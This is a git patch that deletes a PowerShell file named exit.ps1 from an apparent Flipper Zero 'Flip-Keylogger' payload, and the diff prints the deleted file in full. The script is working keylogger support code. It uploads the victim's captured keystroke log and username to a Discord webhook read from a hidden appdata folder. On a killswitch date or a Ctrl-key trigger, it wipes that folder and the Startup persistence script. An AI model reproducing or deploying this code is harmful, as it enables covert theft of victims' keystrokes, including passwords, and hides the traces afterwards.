From 67d9ff99b35ce93fe7f56f0112e70f2042698b01 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Tue, 3 Jan 2023 23:14:45 -0600 Subject: [PATCH] Delete exit.ps1 --- Payloads/Flip-Keylogger/exit.ps1 | 43 -------------------------------- 1 file changed, 43 deletions(-) delete mode 100644 Payloads/Flip-Keylogger/exit.ps1 diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1 deleted file mode 100644 index 1d05f17..0000000 --- a/Payloads/Flip-Keylogger/exit.ps1 +++ /dev/null @@ -1,43 +0,0 @@ -Add-Type -AssemblyName WindowsBase -Add-Type -AssemblyName PresentationCore,PresentationFramework - -$Path="$env:appdata\-locker\$env:UserName-loot.txt" - -$dc = (Get-Content "$env:appdata\-locker\wh.txt" -TotalCount 1) - -function Upload-Discord { - -[CmdletBinding()] -param ( - [parameter(Position=0,Mandatory=$False)] - [string]$file, - [parameter(Position=1,Mandatory=$False)] - [string]$text -) - - -$Body = @{ - 'username' = $env:username - 'content' = $text -} - -if (-not ([string]::IsNullOrEmpty($text))){ -Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)}; - -if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $dc} -} - -while($true){ -$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') -$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') -if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){ -Upload-Discord -file $Path -sleep 5 -Remove-Item "$env:appdata\-locker" -Recurse -Force; -Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd" -$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3) -Remove-Item "$env:appdata\-exit.ps1" -exit -} -else{continue} -}